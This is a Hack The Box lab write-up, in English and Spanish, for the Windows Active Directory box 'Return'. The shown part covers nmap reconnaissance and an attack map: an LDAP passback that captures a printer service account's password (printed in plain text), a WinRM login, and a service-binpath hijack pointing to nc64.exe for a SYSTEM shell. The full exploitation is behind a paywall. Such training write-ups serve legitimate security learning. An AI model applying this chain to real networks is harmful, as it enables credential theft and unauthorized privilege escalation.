Return — HTB Writeup | The Hack Sparrow

Executive summary — Return is an Easy Windows (Active Directory) box with two very real-world techniques: an «LDAP passback» — a printer's web panel lets you configure which LDAP server it authenticates against, so we point it at our own machine to capture its credentials in the clear — and then abuse of the Server Operators group to modify a system service and run code as SYSTEM. A printer panel → LDAP passback → WinRM → Server Operators → SYSTEM path.

Platform	Hack The Box
Operating system	Windows
Difficulty	Easy
Status	Retired
Target IP	`10.129.26.164`
Domain	`return.local`

Attack map

[80] HTB Printer Admin Panel · /settings.php (LDAP config → printer.return.local)
   │  LDAP passback: point the LDAP server at OUR IP → capture credentials
   ▼
[CREDS]  return\svc-printer : 1edFg43012!!
   │  svc-printer ∈ BUILTIN\Remote Management Users (enables WinRM)
   ▼
[WINRM]  evil-winrm as svc-printer  (user.txt)
   │  svc-printer ∈ BUILTIN\Server Operators (can modify services)
   ▼
[SYSTEM]  sc config VSS binpath=...nc64.exe → sc start VSS → SYSTEM shell (root.txt)

1. Reconnaissance

We start with a full TCP port scan, without host discovery (we know it's alive) and without DNS resolution, to save time:

nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164

53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

What matters: 53 (DNS) + 88 (Kerberos) + 389/636/3268/3269 (LDAP/LDAPS + Global Catalog) + 445 (SMB) is the classic signature of an Active Directory Domain Controller. With WinRM (5985) also open: if we get valid credentials, we log in remotely with Evil-WinRM without needing any other vulnerability.

We rescan just the discovered ports with version detection and default scripts, to confirm services and banners:

nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164

80/tcp   open  http          Microsoft IIS httpd 10.0
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

Port 80 serves a web app on IIS, 389 confirms AD LDAP, and 5985 confirms WinRM.

Resumen ejecutivo — Return es una Windows (Active Directory) Easy con dos técnicas muy de la vida real: un «LDAP passback» — el panel web de una impresora deja configurar a qué servidor LDAP se autentica, así que lo apuntamos a nuestra propia máquina para capturar sus credenciales en claro — y luego un abuso del grupo Server Operators para modificar un servicio del sistema y ejecutar código como SYSTEM. Recorrido panel de impresora → LDAP passback → WinRM → Server Operators → SYSTEM.

Plataforma	Hack The Box
Sistema operativo	Windows
Dificultad	Easy
Estado	Retired
IP objetivo	`10.129.26.164`
Dominio	`return.local`

Mapa del ataque

[80] HTB Printer Admin Panel · /settings.php (config LDAP → printer.return.local)
   │  LDAP passback: apuntar el servidor LDAP a NUESTRA IP → capturar credenciales
   ▼
[CREDS]  return\svc-printer : 1edFg43012!!
   │  svc-printer ∈ BUILTIN\Remote Management Users (habilita WinRM)
   ▼
[WINRM]  evil-winrm como svc-printer  (user.txt)
   │  svc-printer ∈ BUILTIN\Server Operators (puede modificar servicios)
   ▼
[SYSTEM]  sc config VSS binpath=...nc64.exe → sc start VSS → shell SYSTEM (root.txt)

1. Reconocimiento

Empezamos con un escaneo de todos los puertos TCP, sin descubrimiento de host (asumimos que está vivo) y sin resolución DNS, para no perder tiempo:

nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164

53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

Lo que importa: 53 (DNS) + 88 (Kerberos) + 389/636/3268/3269 (LDAP/LDAPS + Global Catalog) + 445 (SMB) es la firma clásica de un Controlador de Dominio de Active Directory. Con WinRM (5985) también abierto: si conseguimos credenciales válidas, entramos en remoto con Evil-WinRM sin necesidad de ninguna otra vulnerabilidad.

Repetimos el escaneo solo sobre los puertos encontrados, con detección de versión y scripts básicos, para confirmar servicios y banners:

nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164

80/tcp   open  http          Microsoft IIS httpd 10.0
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

El 80 nos da una web sobre IIS, el 389 confirma LDAP de AD, y el 5985 confirma WinRM.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.